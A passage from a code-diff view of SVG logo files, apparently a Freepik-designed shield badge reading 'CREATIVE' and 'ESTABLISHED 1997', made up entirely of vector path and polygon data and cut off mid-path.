<path fill="#bfc1c4" d="M15,128.6l-1.9,0.5c0.3,1.1,0.6,2.2,1,3.3l1.9-0.6C15.6,130.8,15.3,129.7,15,128.6z"/>
<path fill="#bfc1c4" d="M24.2,154.4c0.6,1,1.3,1.9,1.9,2.9l1.7-1.1c-0.6-0.9-1.3-1.9-1.9-2.8L24.2,154.4z"/>
<path fill="#bfc1c4" d="M19.6,69l-1.8-0.8c-0.5,1-0.9,2.1-1.3,3.2l1.9,0.7C18.7,71.1,19.1,70.1,19.6,69z"/>
<path fill="#bfc1c4" d="M145.1,183.4l1,1.8c1-0.6,2-1.2,3-1.8l-1-1.7C147,182.3,146,182.8,145.1,183.4z"/>
<path fill="#bfc1c4" d="M22.6,63l-1.8-1c-0.5,1-1.1,2-1.6,3.1L21,66C21.5,65,22,64,22.6,63z"/>
<path fill="#bfc1c4" d="M85.8,195.4c1.1,0.2,2.3,0.4,3.4,0.5l0.3-2c-1.1-0.1-2.2-0.3-3.3-0.5L85.8,195.4z"/>
<path fill="#bfc1c4" d="M53.6,183.3c1,0.6,2,1.2,3,1.8l1-1.8c-1-0.5-2-1.1-2.9-1.7L53.6,183.3z"/>
<path fill="#bfc1c4" d="M42.4,175.2c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.6-2.1L42.4,175.2z"/>
<path fill="#bfc1c4" d="M17,135.1l-1.9,0.7c0.4,1.1,0.8,2.2,1.2,3.2l1.9-0.7C17.8,137.2,17.4,136.2,17,135.1z"/>
<path fill="#bfc1c4" d="M37.3,170.5c0.8,0.8,1.7,1.6,2.5,2.4l1.4-1.5c-0.8-0.8-1.7-1.5-2.5-2.3L37.3,170.5z"/>
<path fill="#bfc1c4" d="M13.5,122l-2,0.4c0.2,1.1,0.5,2.3,0.7,3.4l2-0.4C13.9,124.3,13.7,123.1,13.5,122z"/>
<path fill="#bfc1c4" d="M12.5,115.3l-2,0.2c0.1,1.1,0.3,2.3,0.4,3.4l2-0.3C12.8,117.6,12.6,116.5,12.5,115.3z"/>
<path fill="#bfc1c4" d="M59.6,186.7c1,0.5,2.1,1,3.1,1.5l0.9-1.8c-1-0.5-2-1-3-1.5L59.6,186.7z"/>
<path fill="#bfc1c4" d="M12,108.6l-2,0.1c0,1.1,0.1,2.3,0.2,3.5l2-0.1C12.1,110.8,12,109.7,12,108.6z"/>
<path fill="#bfc1c4" d="M28.2,160.1c0.7,0.9,1.4,1.8,2.1,2.7l1.6-1.3c-0.7-0.9-1.4-1.8-2.1-2.7L28.2,160.1z"/>
<path fill="#bfc1c4" d="M20.7,148.5c0.5,1,1.1,2,1.7,3l1.7-1c-0.6-1-1.1-2-1.7-3L20.7,148.5z"/>
<path fill="#bfc1c4" d="M47.9,179.5c0.9,0.7,1.9,1.3,2.8,2l1.1-1.7c-0.9-0.6-1.9-1.3-2.8-1.9L47.9,179.5z"/>
<path fill="#bfc1c4" d="M19.5,141.4l-1.8,0.8c0.5,1.1,1,2.1,1.5,3.1l1.8-0.9C20.5,143.5,20,142.4,19.5,141.4z"/>
<path fill="#bfc1c4" d="M12.5,95.1l-2-0.2c-0.1,1.1-0.2,2.3-0.3,3.4l2,0.2C12.3,97.3,12.4,96.2,12.5,95.1z"/>
<path fill="#bfc1c4" d="M38.7,41.4L37.3,40c-0.8,0.8-1.6,1.6-2.4,2.5l1.5,1.4C37.1,43,37.9,42.2,38.7,41.4z"/>
<path fill="#bfc1c4" d="M139,186.5l0.8,1.8c1-0.5,2.1-1,3.1-1.5l-0.9-1.8C141.1,185.5,140,186,139,186.5z"/>
<path fill="#bfc1c4" d="M34.1,46.3L32.6,45c-0.8,0.9-1.5,1.8-2.2,2.6l1.6,1.3C32.6,48.1,33.4,47.2,34.1,46.3z"/>
<path fill="#bfc1c4" d="M186.8,132.1l1.9,0.6c0.3-1.1,0.7-2.2,1-3.3l-1.9-0.5C187.4,130,187.1,131.1,186.8,132.1z"/>
<path fill="#bfc1c4" d="M132.8,189.1l0.7,1.9c1.1-0.4,2.2-0.8,3.2-1.3l-0.8-1.9C134.9,188.3,133.8,188.7,132.8,189.1z"/>
<path fill="#bfc1c4" d="M126.3,191.2l0.6,1.9c1.1-0.3,2.2-0.7,3.3-1l-0.6-1.9C128.5,190.6,127.4,190.9,126.3,191.2z"/>
<path fill="#bfc1c4" d="M29.8,51.6l-1.6-1.2c-0.7,0.9-1.4,1.9-2,2.8l1.7,1.1C28.5,53.4,29.2,52.5,29.8,51.6z"/>
<path fill="#bfc1c4" d="M60.6,25.6l-0.9-1.8c-1,0.5-2.1,1.1-3.1,1.6l1,1.8C58.6,26.7,59.6,26.1,60.6,25.6z"/>
<path fill="#bfc1c4" d="M66.8,22.8L66,20.9c-1.1,0.4-2.1,0.9-3.2,1.4l0.8,1.8C64.7,23.7,65.8,23.2,66.8,22.8z"/>
<path fill="#bfc1c4" d="M32.5,165.5c0.8,0.9,1.5,1.7,2.3,2.6l1.5-1.4c-0.8-0.8-1.5-1.7-2.3-2.5L32.5,165.5z"/>
<path fill="#bfc1c4" d="M49.1,32.7l-1.2-1.6c-0.9,0.7-1.9,1.4-2.8,2.1l1.2,1.6C47.3,34,48.2,33.4,49.1,32.7z"/>
<path fill="#bfc1c4" d="M54.7,28.9l-1-1.7c-1,0.6-2,1.2-2.9,1.9l1.1,1.7C52.8,30.1,53.8,29.5,54.7,28.9z"/>
<path fill="#bfc1c4" d="M43.8,36.9l-1.3-1.5c-0.9,0.7-1.8,1.5-2.6,2.3l1.4,1.5C42,38.3,42.9,37.6,43.8,36.9z"/>
<path fill="#bfc1c4" d="M92.6,196.3c1.1,0.1,2.3,0.2,3.5,0.3l0.1-2c-1.1-0.1-2.3-0.2-3.4-0.3L92.6,196.3z"/>
<path fill="#bfc1c4" d="M26,57.2l-1.7-1.1c-0.6,1-1.2,2-1.8,2.9l1.7,1C24.8,59.1,25.4,58.1,26,57.2z"/>
<path fill="#bfc1c4" d="M99.6,194.7l0,2c0.6,0,1.2,0,1.9,0c0.5,0,1.1,0,1.6,0l0-2C101.8,194.8,100.7,194.8,99.6,194.7z"/>
<path fill="#bfc1c4" d="M113.1,194l0.3,2c1.1-0.1,2.3-0.3,3.4-0.5l-0.3-2C115.3,193.7,114.2,193.9,113.1,194z"/>
<path fill="#bfc1c4" d="M106.3,194.6l0.1,2c1.1-0.1,2.3-0.1,3.5-0.3l-0.2-2C108.6,194.5,107.5,194.6,106.3,194.6z"/>
<path fill="#bfc1c4" d="M119.8,192.9l0.4,2c1.1-0.2,2.3-0.5,3.4-0.8l-0.5-1.9C122,192.4,120.9,192.6,119.8,192.9z"/>
<polygon fill="#bfc1c4" points="103.6,171.5 101.4,167.1 99.2,171.5 94.3,172.2 97.8,175.7 97,180.6 101.4,178.3 105.8,180.6
105,175.7 108.5,172.2 "/>
<polygon fill="#bfc1c4" points="76.7,57.2 76.7,56.1 63.9,56.1 63.9,57.2 63.9,58.4 76.7,58.4 "/>
<polygon fill="#bfc1c4" points="76.7,66.6 76.7,65.5 53.9,65.5 53.9,67.7 76.7,67.7 "/>
<polygon fill="#bfc1c4" points="138.9,57.2 138.9,56.1 126.1,56.1 126.1,57.2 126.1,58.4 138.9,58.4 "/>
<polygon fill="#bfc1c4" points="148.9,66.6 148.9,65.5 126.1,65.5 126.1,66.6 126.1,67.7 148.9,67.7 "/>
</g>
</g>
</g>
<g id="DESIGNED_BY_FREEPIK">
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
<g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 16 KiB

+184
View File
@@ -0,0 +1,184 @@
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
viewBox="0 0 206.7 200.7" enable-background="new 0 0 206.7 200.7" xml:space="preserve">
<g id="BACKGROUND" display="none">
<rect x="-295.3" y="-55.7" display="inline" fill="#FFFFFF" width="800" height="800"/>
</g>
<g id="OBJECTS">
<g>
<g>
<g>
<g>
<path fill="#2B292A" d="M32.3,108.7c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.9-0.8-2.6-1.4c-0.7-0.6-1.2-1.4-1.7-2.3
c-0.4-0.9-0.7-1.9-0.9-2.9c-0.2-1-0.3-2.2-0.3-3.5v-11c0-1.4,0.1-2.6,0.3-3.6s0.5-2,0.9-2.9c0.4-0.9,1-1.6,1.6-2.2
c0.7-0.6,1.5-1,2.6-1.4c1-0.3,2.2-0.5,3.6-0.5c1.6,0,2.9,0.2,4,0.6s2,1,2.6,1.8c0.6,0.8,1.1,1.8,1.4,2.8
c0.3,1.1,0.4,2.3,0.4,3.8v2.7h-5.5v-2.7c0-1.6-0.1-2.6-0.2-3.2c-0.3-1.1-1.1-1.6-2.4-1.7c-0.1,0-0.2,0-0.3,0
c-0.5,0-0.9,0.1-1.3,0.2c-0.4,0.1-0.7,0.3-0.9,0.5c-0.2,0.2-0.4,0.5-0.6,0.8c-0.1,0.3-0.2,0.6-0.3,1.1
c-0.1,0.4-0.1,0.9-0.1,1.2c0,0.4,0,0.9,0,1.4v13.3c0,1.8,0.2,3.2,0.7,3.9c0.5,0.8,1.3,1.2,2.5,1.2c0.4,0,0.8,0,1.1-0.1
c0.3-0.1,0.6-0.2,0.8-0.4c0.2-0.1,0.4-0.4,0.5-0.6c0.1-0.3,0.3-0.5,0.3-0.8c0.1-0.2,0.1-0.6,0.2-1c0-0.4,0.1-0.8,0.1-1.1
c0-0.3,0-0.7,0-1.2v-2.8h5.5v2.6c0,1.2-0.1,2.2-0.2,3.2c-0.2,0.9-0.4,1.8-0.8,2.6c-0.4,0.8-0.9,1.5-1.5,2.1
c-0.6,0.5-1.4,1-2.4,1.3C34.7,108.5,33.6,108.7,32.3,108.7z"/>
<path fill="#2B292A" d="M44.7,108.3V76.8H52c1.7,0,3.1,0.1,4.3,0.4c1.2,0.3,2.2,0.7,3.1,1.4s1.5,1.5,2,2.6s0.7,2.4,0.7,4
c0,2-0.3,3.6-0.9,4.8c-0.6,1.3-1.6,2.2-2.9,2.7l4.4,15.5h-5.8L53,93.9h-2.5v14.4H44.7z M50.5,90.3h1.4c1.7,0,2.9-0.4,3.6-1.1
c0.7-0.7,1.1-2,1.1-3.7c0-1.7-0.3-2.9-0.9-3.6c-0.6-0.7-1.8-1.1-3.4-1.1h-1.7V90.3z"/>
<path fill="#2B292A" d="M66.3,108.3V76.8h13.2v4H72v9h5.9v4H72v10.4h7.5v4H66.3z"/>
<path fill="#2B292A" d="M81.2,108.3l6.4-31.5h6l6.4,31.5h-5.3l-1.3-7.3h-5.4l-1.3,7.3H81.2z M88.6,97.2h4.2l-2.1-12.9
L88.6,97.2z"/>
<path fill="#2B292A" d="M105.1,108.3V81.1h-5.3v-4.2h16.1v4.2h-5.1v27.2H105.1z"/>
<path fill="#2B292A" d="M118.6,108.3V76.8h5.7v31.5H118.6z"/>
<path fill="#2B292A" d="M134,108.3l-6.4-31.5h5.1l4.1,21.9l3.9-21.9h5.2l-6.4,31.5H134z"/>
<path fill="#2B292A" d="M149.2,108.3V76.8h13.2v4h-7.4v9h5.9v4h-5.9v10.4h7.5v4H149.2z"/>
<path fill="#2B292A" d="M173.7,108.7c-5.5,0-8.5-3.2-8.7-9.6l5-1c0.1,4.2,1.3,6.2,3.6,6.2c0.9,0,1.5-0.3,1.9-0.8
c0.4-0.5,0.6-1.2,0.6-2.1c0-0.9-0.2-1.7-0.5-2.4s-0.7-1.3-1.1-1.8c-0.4-0.5-1-1-1.8-1.7l-4.1-3.6c-1.2-1.1-2.1-2.2-2.7-3.3
c-0.6-1.1-0.9-2.6-0.9-4.3c0-2.4,0.7-4.3,2.2-5.7c1.4-1.4,3.4-2,5.9-2.1c1.2,0,2.2,0.1,3.1,0.4c0.9,0.3,1.6,0.7,2.2,1.2
c0.6,0.5,1.1,1.1,1.4,1.9c0.4,0.7,0.7,1.5,0.9,2.3c0.2,0.8,0.3,1.7,0.4,2.7l-4.9,1c0-0.6-0.1-1.2-0.1-1.7
c-0.1-0.5-0.2-0.9-0.3-1.4c-0.1-0.5-0.3-0.9-0.5-1.2c-0.2-0.3-0.5-0.5-0.9-0.7s-0.8-0.2-1.3-0.2c-0.8,0.1-1.5,0.3-1.9,0.8
c-0.5,0.5-0.7,1.2-0.7,2.1c0,1,0.2,1.8,0.6,2.5s1,1.4,1.9,2.1l4.1,3.6c0.7,0.6,1.3,1.2,1.8,1.8c0.5,0.6,1,1.2,1.5,2
c0.5,0.7,0.8,1.6,1.1,2.5c0.2,0.9,0.4,1.8,0.4,2.8c0,2.3-0.7,4.2-2.2,5.6S176.1,108.7,173.7,108.7z"/>
</g>
</g>
<g>
<path fill="#2B292A" d="M59,52.8v1.1h-3.9v2h3.5v1.1h-3.5v2h4V60h-5.3v-7.2H59z"/>
<path fill="#2B292A" d="M62.9,53.9c-0.7,0-1.2,0.3-1.2,0.8c0,1.6,3.9,0.7,3.9,3.3c0,1.3-1.1,2.1-2.7,2.1c-1.1,0-2.2-0.5-2.9-1.1
l0.5-1c0.7,0.7,1.7,1,2.4,1c0.8,0,1.3-0.3,1.3-0.9c0-1.6-3.9-0.7-3.9-3.3c0-1.2,1.1-2,2.6-2c0.9,0,1.8,0.3,2.5,0.7L65,54.6
C64.2,54.1,63.4,53.9,62.9,53.9z"/>
<path fill="#2B292A" d="M71.9,52.8v1.1h-2.3V60h-1.2v-6.1h-2.3v-1.1H71.9z"/>
<path fill="#2B292A" d="M76.9,58.4h-3.6L72.6,60h-1.3l3.2-7.2h1.2l3.1,7.2h-1.3L76.9,58.4z M76.4,57.3l-1.4-3.2l-1.4,3.2H76.4z"
/>
<path fill="#2B292A" d="M85.3,54.6c0,0.8-0.5,1.4-1.3,1.6c1,0.2,1.5,0.9,1.5,1.8c0,1.2-1,2-2.6,2h-3.2v-7.2h3.1
C84.4,52.8,85.3,53.5,85.3,54.6z M84.1,54.8c0-0.6-0.5-0.9-1.2-0.9H81v1.9h1.8C83.6,55.8,84.1,55.5,84.1,54.8z M84.4,57.9
c0-0.6-0.6-1-1.5-1H81v2.1h1.8C83.8,58.9,84.4,58.6,84.4,57.9z"/>
<path fill="#2B292A" d="M88.3,52.8v6.1h3.1V60h-4.3v-7.2H88.3z"/>
<path fill="#2B292A" d="M93.7,52.8V60h-1.2v-7.2H93.7z"/>
<path fill="#2B292A" d="M97.9,53.9c-0.7,0-1.2,0.3-1.2,0.8c0,1.6,3.9,0.7,3.9,3.3c0,1.3-1.1,2.1-2.7,2.1c-1.1,0-2.2-0.5-2.9-1.1
l0.5-1c0.7,0.7,1.7,1,2.4,1c0.8,0,1.3-0.3,1.3-0.9c0-1.6-3.9-0.7-3.9-3.3c0-1.2,1.1-2,2.6-2c0.9,0,1.8,0.3,2.5,0.7l-0.5,1.1
C99.2,54.1,98.4,53.9,97.9,53.9z"/>
<path fill="#2B292A" d="M103.2,52.8V56h3.8v-3.1h1.2V60H107v-3h-3.8v3H102v-7.2H103.2z"/>
<path fill="#2B292A" d="M115.3,52.8v1.1h-3.9v2h3.5v1.1h-3.5v2h4V60h-5.3v-7.2H115.3z"/>
<path fill="#2B292A" d="M123.5,56.4c0,2.1-1.6,3.6-3.7,3.6h-2.9v-7.2h2.9C122,52.8,123.5,54.3,123.5,56.4z M122.3,56.4
c0-1.5-1.1-2.5-2.5-2.5h-1.7v5h1.8C121.2,58.9,122.3,57.9,122.3,56.4z"/>
<path fill="#2B292A" d="M130.8,52.8V60h-1.2v-6.1H128v-1.1H130.8z"/>
<path fill="#2B292A" d="M136,59.1c1.4,0,2-1,2-2.6c-0.4,0.7-1,1-2,1c-1.4,0-2.3-0.9-2.3-2.3c0-1.5,1-2.4,2.5-2.4
c1.8,0,2.9,1.3,2.9,3.5c0,2.3-1.2,3.8-3.1,3.8c-0.7,0-1.6-0.2-2.1-0.5l0.5-0.9C134.8,58.9,135.4,59.1,136,59.1z M134.8,55.2
c0,0.8,0.5,1.3,1.4,1.3c1,0,1.5-0.6,1.5-1.4c0-0.6-0.4-1.3-1.5-1.3C135.4,53.8,134.8,54.3,134.8,55.2z"/>
<path fill="#2B292A" d="M142.3,59.1c1.4,0,2-1,2-2.6c-0.4,0.7-1,1-2,1c-1.4,0-2.3-0.9-2.3-2.3c0-1.5,1-2.4,2.5-2.4
c1.8,0,2.9,1.3,2.9,3.5c0,2.3-1.2,3.8-3.1,3.8c-0.7,0-1.6-0.2-2.1-0.5l0.5-0.9C141.2,58.9,141.7,59.1,142.3,59.1z M141.2,55.2
c0,0.8,0.5,1.3,1.4,1.3c1,0,1.5-0.6,1.5-1.4c0-0.6-0.4-1.3-1.5-1.3C141.7,53.8,141.2,54.3,141.2,55.2z"/>
<path fill="#2B292A" d="M151.9,52.8v0.9l-3,6.3h-1.3l3-6.1h-3l0,1h-1.1v-2.1H151.9z"/>
</g>
<path fill="#2B292A" d="M46.6,46.9l0.5,1.9c1.1-0.3,2.2-0.6,3.3-0.9L49.9,46C48.8,46.3,47.7,46.6,46.6,46.9z"/>
<path fill="#2B292A" d="M128.9,169.7l1.1,1.7c1-0.6,1.9-1.3,2.8-2l-1.2-1.6C130.8,168.4,129.8,169,128.9,169.7z"/>
<path fill="#2B292A" d="M117.1,176.5l0.9,1.8c1-0.5,2.1-1,3.1-1.6l-0.9-1.8C119.1,175.5,118.1,176,117.1,176.5z"/>
<path fill="#2B292A" d="M123.1,173.3l1,1.7c1-0.6,2-1.2,3-1.8l-1.1-1.7C125.1,172.1,124.1,172.7,123.1,173.3z"/>
<path fill="#2B292A" d="M170.6,120.5l-1.8-0.8c-0.5,1-0.9,2.1-1.4,3.1l1.8,0.9C169.7,122.6,170.2,121.5,170.6,120.5z"/>
<path fill="#2B292A" d="M58.7,152.8l1.5-1.3c-0.7-0.8-1.4-1.7-2.1-2.5l-0.1-0.1l-1.6,1.3l0.1,0.1C57.3,151.1,58,151.9,58.7,152.8
z"/>
<path fill="#2B292A" d="M40.2,123.6l1.8-0.9c-0.5-1-1-2.1-1.4-3.1l-1.8,0.8C39.2,121.5,39.7,122.5,40.2,123.6z"/>
<path fill="#2B292A" d="M110.9,179.3l0.8,1.9c1.1-0.4,2.1-0.9,3.2-1.4l-0.8-1.8C113,178.4,111.9,178.8,110.9,179.3z"/>
<path fill="#2B292A" d="M94.5,179.7c1,0.5,2.1,0.9,3.2,1.4l0.8-1.9c-1-0.4-2.1-0.9-3.1-1.3L94.5,179.7z"/>
<path fill="#2B292A" d="M88.3,176.7c1,0.5,2.1,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L88.3,176.7z"/>
<path fill="#2B292A" d="M104.7,181.6c-1-0.3-2.1-0.7-3.1-1.1l-0.7,1.9c1.1,0.4,2.2,0.8,3.3,1.2l0.5-1.3l0.5,1.4l0.1,0
c1.1-0.4,2.1-0.7,3.2-1.1l-0.7-1.9C106.7,180.9,105.7,181.2,104.7,181.6z"/>
<path fill="#2B292A" d="M167.7,126.7l-1.8-0.9c-0.5,1-1,2-1.6,3l1.8,0.9C166.7,128.8,167.2,127.8,167.7,126.7z"/>
<path fill="#2B292A" d="M152.8,150.2L152.8,150.2l-1.5-1.3l-0.1,0.1c-0.7,0.9-1.4,1.7-2.1,2.6l1.5,1.3
C151.4,152,152.1,151.1,152.8,150.2z"/>
<path fill="#2B292A" d="M24.9,53.2l-2,0.1c0.1,1.1,0.2,2.3,0.3,3.4l2-0.2C25.1,55.5,25,54.3,24.9,53.2z"/>
<path fill="#2B292A" d="M164.5,132.9l-1.8-1c-0.6,1-1.1,2-1.7,3l1.7,1C163.3,134.9,163.9,133.9,164.5,132.9z"/>
<path fill="#2B292A" d="M69.7,161.2c-0.8-0.8-1.7-1.5-2.5-2.3l-1.4,1.4c0.8,0.8,1.7,1.6,2.5,2.4L69.7,161.2z"/>
<path fill="#2B292A" d="M64.8,156.5c-0.8-0.8-1.6-1.6-2.3-2.5l-1.5,1.4c0.8,0.9,1.6,1.7,2.4,2.5L64.8,156.5z"/>
<path fill="#2B292A" d="M139.6,161.3l1.3,1.5c0.9-0.8,1.7-1.6,2.5-2.4l-1.4-1.4C141.3,159.7,140.5,160.5,139.6,161.3z"/>
<path fill="#2B292A" d="M43.2,129.8l1.8-0.9c-0.5-1-1-2-1.6-3l-1.8,0.9C42.2,127.7,42.7,128.8,43.2,129.8z"/>
<path fill="#2B292A" d="M157.1,144.6l-1.6-1.2c-0.7,0.9-1.3,1.9-2,2.8l1.6,1.2C155.7,146.5,156.4,145.6,157.1,144.6z"/>
<path fill="#2B292A" d="M101,25.8l-1.1-1.7C99,24.7,98,25.3,97,25.9l1.1,1.7C99.1,27,100.1,26.4,101,25.8z"/>
<path fill="#2B292A" d="M160.9,138.8l-1.7-1.1c-0.6,1-1.2,1.9-1.9,2.9l1.7,1.1C159.7,140.8,160.3,139.8,160.9,138.8z"/>
<path fill="#2B292A" d="M148.4,155.4l-1.5-1.4c-0.8,0.8-1.6,1.7-2.3,2.5l1.4,1.4C146.8,157.1,147.6,156.3,148.4,155.4z"/>
<path fill="#2B292A" d="M82.2,173.2c1,0.6,2,1.2,3,1.8l1-1.7c-1-0.6-2-1.2-2.9-1.8L82.2,173.2z"/>
<path fill="#2B292A" d="M134.4,165.7l1.2,1.6c0.9-0.7,1.8-1.4,2.7-2.2l-1.3-1.5C136.2,164.2,135.3,165,134.4,165.7z"/>
<path fill="#2B292A" d="M91.1,29.4l1,1.8c1-0.6,2-1.1,3-1.7l-1-1.7C93.1,28.3,92.1,28.8,91.1,29.4z"/>
<path fill="#2B292A" d="M108.5,25.9c1,0.6,1.9,1.2,2.9,1.9l1.1-1.7c-1-0.6-1.9-1.2-2.9-1.8L108.5,25.9z"/>
<path fill="#2B292A" d="M40,48.6l0.4,2c1.1-0.3,2.3-0.5,3.4-0.8l-0.5-2C42.2,48,41.1,48.3,40,48.6z"/>
<path fill="#2B292A" d="M114.4,29.5c1,0.6,2,1.2,3,1.7l1-1.8c-1-0.6-2-1.1-3-1.7L114.4,29.5z"/>
<path fill="#2B292A" d="M120.4,32.9c1,0.5,2,1.1,3.1,1.6l0.9-1.8c-1-0.5-2-1-3-1.6L120.4,32.9z"/>
<path fill="#2B292A" d="M126.6,36c1,0.5,2.1,1,3.1,1.5l0.8-1.8c-1-0.5-2.1-1-3.1-1.4L126.6,36z"/>
<path fill="#2B292A" d="M78.9,35.6l0.8,1.8c1.1-0.5,2.1-1,3.1-1.5L82,34.1C81,34.6,80,35.1,78.9,35.6z"/>
<path fill="#2B292A" d="M59.8,43l0.6,1.9c1.1-0.4,2.2-0.7,3.3-1.1L63,41.9C61.9,42.3,60.9,42.7,59.8,43z"/>
<path fill="#2B292A" d="M53.2,45.1l0.6,1.9c1.1-0.3,2.2-0.7,3.3-1l-0.6-1.9C55.4,44.4,54.3,44.8,53.2,45.1z"/>
<path fill="#2B292A" d="M66.2,40.8l0.7,1.9c1.1-0.4,2.2-0.8,3.2-1.2l-0.7-1.9C68.4,40,67.3,40.4,66.2,40.8z"/>
<path fill="#2B292A" d="M72.6,38.3l0.8,1.9c1.1-0.4,2.1-0.9,3.2-1.3L75.8,37C74.7,37.4,73.7,37.9,72.6,38.3z"/>
<path fill="#2B292A" d="M132.9,38.8c1.1,0.5,2.1,0.9,3.2,1.3l0.8-1.9c-1.1-0.4-2.1-0.9-3.2-1.3L132.9,38.8z"/>
<path fill="#2B292A" d="M85.1,32.6l0.9,1.8c1-0.5,2.1-1.1,3.1-1.6L88.1,31C87.1,31.6,86.1,32.1,85.1,32.6z"/>
<path fill="#2B292A" d="M179.2,52.6c1.1,0.2,2.3,0.4,3.4,0.6l0.3-2c-1.1-0.2-2.3-0.4-3.4-0.6L179.2,52.6z"/>
<path fill="#2B292A" d="M26.5,51.2l0.3,2c1.1-0.2,2.3-0.4,3.4-0.6l-0.4-2C28.8,50.8,27.6,51,26.5,51.2z"/>
<path fill="#2B292A" d="M184.2,56.7l2,0.2c0.1-1.2,0.2-2.3,0.3-3.4l-2-0.1C184.4,54.4,184.3,55.5,184.2,56.7z"/>
<path fill="#2B292A" d="M183.5,63.5l2,0.2c0.1-1.1,0.3-2.3,0.4-3.4l-2-0.2C183.8,61.2,183.6,62.4,183.5,63.5z"/>
<path fill="#2B292A" d="M139.3,41.5c1.1,0.4,2.2,0.8,3.2,1.2l0.7-1.9c-1.1-0.4-2.1-0.8-3.2-1.2L139.3,41.5z"/>
<path fill="#2B292A" d="M71,165c0.9,0.7,1.8,1.5,2.7,2.2l1.2-1.6c-0.9-0.7-1.8-1.4-2.6-2.1L71,165z"/>
<path fill="#2B292A" d="M76.5,169.3c0.9,0.7,1.9,1.4,2.8,2l1.1-1.7c-0.9-0.6-1.9-1.3-2.8-2L76.5,169.3z"/>
<path fill="#2B292A" d="M23.5,60.2c0.1,1.1,0.2,2.3,0.4,3.4l2-0.2c-0.1-1.1-0.3-2.3-0.4-3.4L23.5,60.2z"/>
<path fill="#2B292A" d="M152.4,46c1.1,0.3,2.2,0.7,3.3,1l0.6-1.9c-1.1-0.3-2.2-0.7-3.3-1L152.4,46z"/>
<path fill="#2B292A" d="M159,48c1.1,0.3,2.2,0.6,3.3,0.9l0.5-1.9c-1.1-0.3-2.2-0.6-3.3-0.9L159,48z"/>
<path fill="#2B292A" d="M172.4,51.3c1.1,0.2,2.3,0.5,3.4,0.7l0.4-2c-1.1-0.2-2.3-0.5-3.4-0.7L172.4,51.3z"/>
<path fill="#2B292A" d="M145.8,43.9c1.1,0.4,2.2,0.8,3.3,1.1l0.6-1.9c-1.1-0.4-2.2-0.7-3.2-1.1L145.8,43.9z"/>
<path fill="#2B292A" d="M33.3,50l0.4,2c1.1-0.2,2.3-0.5,3.4-0.7l-0.4-2C35.5,49.5,34.4,49.8,33.3,50z"/>
<path fill="#2B292A" d="M165.7,49.7c1.1,0.3,2.2,0.5,3.4,0.8l0.4-2c-1.1-0.3-2.2-0.5-3.3-0.8L165.7,49.7z"/>
<path fill="#2B292A" d="M104.7,23.3c0.3,0.2,0.6,0.4,0.9,0.6l1.1-1.7c-0.5-0.3-1-0.7-1.4-1l-0.6-0.4l-0.6,0.4
c-0.4,0.3-0.9,0.6-1.3,0.9l1.1,1.7C104.2,23.7,104.4,23.5,104.7,23.3z"/>
<path fill="#2B292A" d="M46.6,135.8l1.7-1c-0.6-1-1.1-2-1.7-3l-1.8,1C45.5,133.8,46,134.8,46.6,135.8z"/>
<path fill="#2B292A" d="M55.9,146.1c-0.7-0.9-1.4-1.8-2-2.8l-1.6,1.2c0.7,0.9,1.4,1.9,2,2.8L55.9,146.1z"/>
<path fill="#2B292A" d="M52,140.6c-0.6-0.9-1.3-1.9-1.9-2.9l-1.7,1.1c0.6,1,1.3,2,1.9,2.9L52,140.6z"/>
<path fill="#2B292A" d="M20.6,117.6c6.1,16.2,14,30.3,23.5,42.3c14.6,18.2,33.1,31.2,55,38.6c1.7,0.6,3.3,1.1,5,1.6l0.5,0.1
l0.5-0.1c0.8-0.2,1.7-0.5,2.5-0.8c0.8-0.3,1.7-0.5,2.5-0.8c21.9-7.4,40.4-20.4,55-38.6c9.6-11.9,17.4-26.1,23.5-42.3h17.6
l-7.1-24.9l7-26.4H201c1.9-15.8,1.7-26.5,1.7-26.7l0-1.5l-1.5-0.2c-20.1-2.1-38.8-6.4-55.5-13c-17-6.6-28.4-14.1-34.9-19.2
c-0.4-0.3-0.9-0.7-1.3-1c-1.2-1-2.4-2-3.6-3l-1.2-1.1l-1.2,1.1c-0.8,0.7-1.7,1.5-2.6,2.2c-0.8,0.7-1.5,1.3-2.3,1.8
c-6.5,5.1-17.8,12.5-34.9,19.2C47,31.5,28.3,35.8,8.3,37.9L6.8,38l0,1.5c0,0.2-0.2,10.9,1.7,26.7H0.8l5.8,27l-5.8,24.3H20.6z
M10.2,41.1c19.8-2.2,38.3-6.5,54.9-13c17.4-6.8,29-14.4,35.7-19.7c0.8-0.6,1.6-1.2,2.4-1.9c0.5-0.4,1-0.9,1.5-1.3
c0.8,0.7,1.7,1.4,2.5,2.1c0.4,0.4,0.9,0.7,1.4,1.1c6.7,5.2,18.3,12.9,35.7,19.7c16.6,6.5,35.1,10.9,54.9,13
c0,3.5-0.2,12.7-1.7,25.1h-5.6c1-7.6,1.4-14,1.6-18.6l0.1-1.6l-1.6-0.2c-17.8-2.4-34.5-6.6-49.7-12.6c-14-5.5-26.7-12.4-36.6-20
l-1.1-0.8l-1.1,0.8c-9.9,7.6-22.6,14.6-36.6,20c-15.2,5.9-31.9,10.2-49.7,12.6l-1.6,0.2l0.1,1.6c0.2,4.6,0.6,11,1.6,18.6h-5.6
C10.3,53.9,10.2,44.6,10.2,41.1z M20.9,66.2C20,59.4,19.6,53.5,19.4,49c17.5-2.5,33.9-6.7,49-12.5c13.8-5.4,26.4-12.2,36.4-19.7
c10,7.5,22.5,14.3,36.4,19.7c15,5.9,31.5,10.1,49,12.5c-0.2,4.4-0.7,10.3-1.5,17.2H20.9z M10.6,69.7h1.8h5.6h1.7h1.7h3.3h2h156h2
h3.3h1.7h1.7h5.6h1.8h1.7h1.3l-3.4,12.6l-2.8,10.4l0.3,1.1l5.8,20.4H190h-1.8h-1.8h-5.9h-1.8h-1.8h-3.5h-2.2H38.3h-2.2h-3.5h-1.8
